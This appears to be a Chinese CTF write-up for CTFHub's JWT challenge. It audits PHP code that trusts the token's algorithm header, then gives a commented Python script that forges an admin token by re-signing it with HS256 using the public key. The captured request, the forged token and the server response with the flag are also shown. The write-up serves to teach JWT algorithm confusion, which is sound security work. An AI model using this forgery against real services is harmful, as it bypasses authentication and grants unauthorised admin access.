当前位置: 首页 > news >正文

CTFHub Web进阶-Json Web Token通关5:修改签名算法

目录

一、源码分析

1、查看源码

2、代码审计

(1)JWTHelper::decode 方法

(2)攻击场景

①正常流程

②攻击流程

二、渗透实战

1、登录

2、bp抓包

(1)login报文

(2)index报文

3、JWT解密

4、计算token

(1)计算token

(2)源码分析

(3)生成token

5、bp改包获取flag


本文详细讲解CTFHub的Web进阶中Json Web Token的修改签名算法关卡的原理与渗透全流程。通过审计PHP源码发现系统存在算法混淆缺陷:服务器使用RS256算法生成JWT,但验证时信任用户可控的算法字段。攻击者可将算法改为HS256,利用可下载的公钥作为HMAC密钥伪造管理员token。渗透过程包括:1)登录获取初始token;2)分析JWT结构;3)编写Python脚本生成伪造token;4)通过Burp Suite修改请求获取flag。根源在于服务器未严格校验签名算法,导致攻击者可通过算法降级绕过验证。

一、源码分析

1、查看源码

打开靶场,页面提示“有些JWT库支持多种密码算法进行签名、验签。若目标使用非对称密码算法时,有时攻击者可以获取到公钥,此时可通过修改JWT头部的签名算法,将非对称密码算法改为对称密码算法,从而达到攻击者目的”,具体如下所示。

打开URL地址,进入登录页面,页面同时显示源码,具体如下所示。

对应的php源码如下所示,这段PHP代码实现了一个基于JWT的登录认证系统,存在严重的安全风险。用户登录成功后,服务器使用RS256算法和私钥生成JWT令牌;验证时却从令牌头部读取算法类型,导致攻击者可将算法改为HS256,并用可下载的公钥作为HMAC密钥伪造管理员令牌。由于HS256是对称加密,用公钥签名后服务器会用同一公钥验证通过,使得攻击者无需知晓密码就能获得admin权限并获取FLAG。这属于典型的JWT算法混淆安全风险,核心问题在于验证过程信任了用户可控的算法参数。

<!DOCTYPE html>
<html><head><meta charset="utf-8" /><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title>CTFHub JWTDemo</title><link rel="stylesheet" href="/static/style.css" /></head><body><main id="content"><header>Web Login</header><form id="login-form" method="POST"><input type="text" name="username" placeholder="Username" /><input type="password" name="password" placeholder="Password" /><input type="submit" name="action" value="Login" /></form><a href="/publickey.pem">publickey.pem</a></main><?php echo $_COOKIE['token'];?><hr/></body>
</html><?php
require __DIR__ . '/vendor/autoload.php';
use \Firebase\JWT\JWT;class JWTHelper {public static function encode($payload=array(), $key='', $alg='HS256') {return JWT::encode($payload, $key, $alg);}public static function decode($token, $key, $alg='HS256') {try{$header = JWTHelper::getHeader($token);$algs = array_merge(array($header->alg, $alg));return JWT::decode($token, $key, $algs);} catch(Exception $e){return false;}}public static function getHeader($jwt) {$tks = explode('.', $jwt);list($headb64, $bodyb64, $cryptob64) = $tks;$header = JWT::jsonDecode(JWT::urlsafeB64Decode($headb64));return $header;}
}$FLAG = getenv("FLAG");
$PRIVATE_KEY = file_get_contents("/privatekey.pem");
$PUBLIC_KEY = file_get_contents("./publickey.pem");if ($_SERVER['REQUEST_METHOD'] === 'POST') {if (!empty($_POST['username']) && !empty($_POST['password'])) {$token = "";if($_POST['username'] === 'admin' && $_POST['password'] === $FLAG){$jwt_payload = array('username' => $_POST['username'],'role'=> 'admin',);$token = JWTHelper::encode($jwt_payload, $PRIVATE_KEY, 'RS256');} else {$jwt_payload = array('username' => $_POST['username'],'role'=> 'guest',);$token = JWTHelper::encode($jwt_payload, $PRIVATE_KEY, 'RS256');}@setcookie("token", $token, time()+1800);header("Location: /index.php");exit();} else {@setcookie("token", "");header("Location: /index.php");exit();}
} else {if(!empty($_COOKIE['token']) && JWTHelper::decode($_COOKIE['token'], $PUBLIC_KEY) != false) {$obj = JWTHelper::decode($_COOKIE['token'], $PUBLIC_KEY);if ($obj->role === 'admin') {echo $FLAG;}} else {show_source(__FILE__);}
}
?>

2、代码审计

(1JWTHelper::decode 方法

$header = JWTHelper::getHeader($token); // 从用户提供的 token 中读取头部
$algs = array_merge(array($header->alg, $alg)); // 【致命风险】信任了用户控制的算法!
return JWT::decode($token, $key, $algs); // 使用用户指定的算法进行验证

原理分析:

  • 代码从 JWT 的头部读取算法 ($header->alg)
  • 然后将该算法与默认算法合并作为允许的算法列表
  • 这意味着攻击者可以控制 JWT 使用的签名算法

利用链

  • 攻击者伪造一个 JWT,将其头部的 alg 改为 HS256(对称加密)。

  • 服务器在解码时,看到 alg 是 HS256,就会尝试使用 HS256 算法进行验证。

  • HS256 需要对称密钥,而代码传入的 $key 是 $PUBLIC_KEY(公钥)。

  • 如果攻击者用这个公钥作为 HMAC 的密钥来签名伪造的 token,服务器就会用同一个公钥去验证,签名匹配,验证通过。

  • 攻击者从而可以伪造一个角色为 admin 的 token,直接获取 $FLAG

2)攻击场景

正常流程
  1. 用户使用 admin + 正确密码登录服务器用 RS256 算法签名 token
  2. 服务器验证时使用 RS256 + 公钥验证签名
攻击流程
  • 攻击者可以伪造一个 JWT,将头部算法改为 HS256(对称加密)
  • 服务器在验证时,由于允许使用头部指定的算法,会尝试用 HS256 验证
  • 关键HS256 需要对称密钥,但代码中传入的是 $PUBLIC_KEY
  • 如果攻击者用公钥作为 HMAC 的密钥来签名,服务器会用同样公钥来验证,签名就能通过!

二、渗透实战

1、登录

输入用户名admin,密码ljn,点击登录,如下所示。

登录后页面显示token和源码,如下所示。

页面返回的token值,如下所示。

eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwicm9sZSI6Imd1ZXN0In0.iAnwKLvlvy--MgOBpv98062Ui-UbKs_14KVtgiPLTnrAkXnNdKnCaadCfgYD7nCgSPJuWCUkSHLU2IPZp4BUUJwS6wYenZtXmG_4LPOUj7y4bnvE--vL45aoiWnWDWPOQFQz3eCXPZ2nluICIgVYNlsAGNuOQ-EiXW9LqB4WZBi1VFPmRvcaIedF2ruXzUKOeMqvHV5K4l2dNKy-5kcnMzEU_QRyKzXhdRZJF-eH6Jwka2SY48jN6p23AnZYsNeJBzEOIX2JtUGBCJxq8tN_ykQGyS74azy0tNWDBRVJIF6DD_rZaFMdL3Xf4Jye3mA8oIbPqR9EdkaU-avjHqY1cw

2、bp抓包

(1)login报文

token的第一部分解密后为{"typ":"JWT","alg":"RS256"},如下所示。

(2)index报文

token的第二部分解密后为{"username":"admin","role":"guest"},具体如下所示。

将index报文发送到repeater,如下所示。

发送到repeater后报文如下所示,我们接下来通过修改token值完成渗透。

3、JWT解密

jwt在线解密/加密 - JSON中文网

4、计算token

(1)计算token

接下来使用大佬写的脚本来完成token计算,代码如下所示。

第一部分依旧是{"typ":"JWT","alg":"RS256"}

将第二部分改为{"username":"admin","role":"admin"}

# coding=GBK
import hmac
import hashlib
import base64file = open('publickey.pem')  # 需要将文中的publickey下载	与脚本同目录
key = file.read()# Paste your header and payload here
header = '{"typ": "JWT", "alg": "HS256"}'
payload = '{"username": "admin", "role": "admin"}'# Creating encoded header
encodeHBytes = base64.urlsafe_b64encode(header.encode("utf-8"))
encodeHeader = str(encodeHBytes, "utf-8").rstrip("=")# Creating encoded payload
encodePBytes = base64.urlsafe_b64encode(payload.encode("utf-8"))
encodePayload = str(encodePBytes, "utf-8").rstrip("=")# Concatenating header and payload
token = (encodeHeader + "." + encodePayload)# Creating signature
sig = base64.urlsafe_b64encode(hmac.new(bytes(key, "UTF-8"), token.encode("utf-8"), hashlib.sha256).digest()).decode("UTF-8").rstrip("=")print(token + "." + sig)

(2)源码分析

token的计算流程如下所示,token值共由三部分组成。

原始数据流程:
header JSON → Base64Url编码 → encodeHeader
payload JSON → Base64Url编码 → encodePayload
encodeHeader + "." + encodePayload → token(待签名数据)签名计算流程:
公钥字符串 → HMAC密钥
token字符串 → 待签名消息
HMAC-SHA256(密钥, 消息) → 二进制签名
二进制签名 → Base64Url编码 → 移除填充 → 最终签名完整JWT:
encodeHeader + "." + encodePayload + "." + 最终签名

基于token计算流程,对python脚本进行详细注释,具体如下所示。

# coding=GBK
# 指定文件编码为GBK,确保中文字符正常显示import hmac      # 导入HMAC模块,用于生成基于哈希的消息认证码
import hashlib   # 导入哈希库,提供SHA256等哈希算法
import base64    # 导入Base64编码模块,用于二进制数据与文本的转换# 读取公钥文件
file = open('publickey.pem')  # 打开公钥文件,该文件从目标网站下载,与脚本在同一目录
key = file.read()             # 读取公钥的全部内容,作为后续HMAC签名的密钥
file.close()                  # 关闭文件(建议添加这行以确保资源释放)# 构造JWT的头部(Header)和载荷(Payload)
header = '{"typ": "JWT", "alg": "HS256"}'        # JWT头部:声明令牌类型为JWT,使用HS256算法(对称加密)
payload = '{"username": "admin", "role": "admin"}' # JWT载荷:包含用户名和角色信息,都设置为admin以获得管理员权限# ==================== 编码头部 ====================
# 对头部进行Base64Url编码(JWT标准要求)
encodeHBytes = base64.urlsafe_b64encode(header.encode("utf-8"))  
# 步骤分解:
# 1. header.encode("utf-8") - 将JSON字符串转换为UTF-8编码的字节序列
# 2. base64.urlsafe_b64encode() - 进行URL安全的Base64编码(将+/转换为-_)
# 3. 得到的是字节类型的Base64编码结果encodeHeader = str(encodeHBytes, "utf-8").rstrip("=")
# 步骤分解:
# 1. str(encodeHBytes, "utf-8") - 将字节类型的Base64结果转换为UTF-8字符串
# 2. .rstrip("=") - 移除Base64编码末尾的填充字符'='(JWT标准要求无填充)# ==================== 编码载荷 ====================
# 对载荷进行同样的Base64Url编码处理
encodePBytes = base64.urlsafe_b64encode(payload.encode("utf-8"))
# 1. payload.encode("utf-8") - 将载荷JSON字符串转为UTF-8字节序列
# 2. base64.urlsafe_b64encode() - URL安全的Base64编码encodePayload = str(encodePBytes, "utf-8").rstrip("=")
# 1. 转换为字符串 2. 移除填充字符'='# ==================== 构造待签名数据 ====================
# 拼接编码后的头部和载荷,形成JWT的前两部分(这是将要被签名的数据)
token = (encodeHeader + "." + encodePayload)
# 格式:base64url(header) + "." + base64url(payload)
# 例如:"eyJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwicm9sZSI6ImFkbWluIn0"# ==================== 生成HMAC签名 ==================== 
# 这是攻击的核心部分:使用公钥作为HMAC的对称密钥来生成签名
sig = base64.urlsafe_b64encode(hmac.new(bytes(key, "UTF-8"),        # 密钥:使用公钥内容作为HMAC的对称密钥token.encode("utf-8"),      # 消息:待签名的数据(header.payload)hashlib.sha256              # 算法:使用SHA256哈希函数).digest()                      # 获取二进制的HMAC摘要结果(32字节)
).decode("UTF-8").rstrip("=")      # 对签名进行Base64Url编码并移除填充# 详细步骤解析:
# 1. hmac.new() 创建HMAC对象:
#    - bytes(key, "UTF-8"): 将公钥字符串转换为字节序列作为HMAC密钥
#    - token.encode("utf-8"): 将待签名数据转换为字节序列
#    - hashlib.sha256: 指定使用SHA256算法
#
# 2. .digest(): 生成二进制的HMAC签名结果(32字节的字节序列)
#    例如:b'\x1a\x2b\x3c\x4d...'(共32个字节)
#
# 3. base64.urlsafe_b64encode(): 对二进制签名进行URL安全的Base64编码
#    将二进制数据转换为可打印的ASCII字符,同时将+/转换为-_
#
# 4. .decode("UTF-8"): 将Base64编码的字节序列转换为字符串
#
# 5. .rstrip("="): 移除Base64编码的填充字符'='(符合JWT标准)# ==================== 输出完整JWT ====================
# 拼接完整的JWT令牌:头部.载荷.签名
print(token + "." + sig)
# 最终格式:base64url(header) + "." + base64url(payload) + "." + base64url(signature)
# 示例输出:eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwicm9sZSI6ImFkbWluIn0.xxxxxxxxxxxxxxxx# ==================== 攻击原理总结 ====================
# 这个伪造的JWT能够通过服务器验证的原因是:
# 1. 服务器代码存在算法混淆安全风险,信任JWT头部声明的算法
# 2. 我们将算法从RS256(非对称)改为HS256(对称)
# 3. 服务器验证时会用公钥作为HMAC密钥重新计算签名
# 4. 由于我们也是用公钥作为HMAC密钥签名的,所以验证通过
# 5. 载荷中的role字段让服务器认为这是管理员,从而获取FLAG

(3)验证过程对比

① 正常流程
服务器签名:RS256 + 私钥
服务器验证:RS256 + 公钥 ✅
② 攻击流程
攻击者签名:HS256 + 公钥(作为HMAC密钥)
服务器验证:HS256 + 公钥(作为HMAC密钥)✅

(4)生成token

将脚本下载(publickey.pem里的全部内容)到和本脚本同目录下,执行后生成token如下所示。

eyJ0eXAiOiAiSldUIiwgImFsZyI6ICJIUzI1NiJ9.eyJ1c2VybmFtZSI6ICJhZG1pbiIsICJyb2xlIjogImFkbWluIn0.703D2tPFRX1US2LWyiG7d4MoqlwZ4_79lwbv8u6t8ks

5、bp改包获取flag

在repeater中,将token替换为我们修改后的值并点击发送,如下所示渗透成功。

完整的请求报文如下所示。

GET /index.php HTTP/1.1

Host: challenge-34d913874e5161b1.sandbox.ctfhub.com:10800

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3

Accept-Encoding: gzip, deflate

Referer: http://challenge-34d913874e5161b1.sandbox.ctfhub.com:10800/

Cookie: token=eyJ0eXAiOiAiSldUIiwgImFsZyI6ICJIUzI1NiJ9.eyJ1c2VybmFtZSI6ICJhZG1pbiIsICJyb2xlIjogImFkbWluIn0.703D2tPFRX1US2LWyiG7d4MoqlwZ4_79lwbv8u6t8ks

DNT: 1

X-Forwarded-For: 127.0.0.1

Connection: close

Upgrade-Insecure-Requests: 1

服务器返回的响应报文如下所示。

HTTP/1.1 200 OK

Server: openresty/1.21.4.2

Date: Thu, 30 Oct 2025 14:01:38 GMT

Content-Type: text/html; charset=UTF-8

Content-Length: 796

Connection: close

X-Powered-By: PHP/7.4.5

Vary: Accept-Encoding

Access-Control-Allow-Origin: *

Access-Control-Allow-Headers: X-Requested-With

Access-Control-Allow-Methods: *

<!DOCTYPE html>

<html>

         <head>

                  <meta charset="utf-8" />

                  <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" />

                  <title>CTFHub JWTDemo</title>

                  <link rel="stylesheet" href="/static/style.css" />

         </head>

         <body>

                  <main id="content">

                          <header>Web Login</header>

                          <form id="login-form" method="POST">

                                   <input type="text" name="username" placeholder="Username" />

                                   <input type="password" name="password" placeholder="Password" />

                                   <input type="submit" name="action" value="Login" />

                          </form>

                          <a href="/publickey.pem">publickey.pem</a>

                  </main>

                  eyJ0eXAiOiAiSldUIiwgImFsZyI6ICJIUzI1NiJ9.eyJ1c2VybmFtZSI6ICJhZG1pbiIsICJyb2xlIjogImFkbWluIn0.703D2tPFRX1US2LWyiG7d4MoqlwZ4_79lwbv8u6t8ks          <hr/>

         </body>

</html>

ctfhub{8efa2367fde28e8c2546b87f}

http://www.dtcms.com/a/597569.html

相关文章:

  • 华为OD机试 双机位A卷 - 上班之路 (JAVA Python C++ JS GO)
  • CEVA-DSP开发初识(一)
  • 峰均比降低技术(CFR)
  • 如何删除网站备案号房地产政策
  • 盐城网盐城网站建设站建设wordpress视频解析接口
  • 【CPKCOR-RA8D1】Home Assistant 物联网 ADC 电压温度计
  • STM32外设学习--DMA直接存储器读取(AD扫描程序,DMA搬运)--学习笔记。
  • 贵州网站开发制作公司开发公司各部门职责
  • FreeRTOS 学习:(十八)FreeRTOS 中断管理
  • 做外贸网站 怎么收钱池州哪里做网站
  • 介绍一下 机器人坐标转换的 RT 矩阵
  • 网站备案换公司吗盐山县网站建设
  • 为智能制造护航:SASE如何重塑制造业网络安全与连接
  • 品牌授权网站什么网站可以做软件有哪些东西
  • h5网站系统企业网站制作排名
  • ZeroNews 场景案例 | 结合小皮面板实现公网web服务发布
  • 本地的赣州网站建设电商网站支付接口
  • C# 记录类型(record)全面解析:从概念到最佳实践
  • 广西响应式网站制作怎么修改自己网站内容
  • 万网网站建设教程免费做网站的网站
  • Meta Omnilingual ASR:一个支持超1600种语言的语音识别系统解析
  • 9、prometheus-PromQL-3-偏移量修改器
  • 【题解】洛谷 P2471 [SCOI2007] 降雨量 [线段树 + 逻辑]
  • [8]. SpringAI Alibaba Tool Calling
  • 怎样建一个收费网站wordpress摘要过滤
  • 现在给别人做网站ui设计的软件
  • 【架构方法论】领域模型:如何通过领域模型,提高系统的可扩展性?
  • 基于Spring Security +JWT+Redis实现登录认证的流程
  • 深圳做网站最好的公司什么是企业形象设计
  • 【C++基础与提高】第六章:函数——代码复用的艺术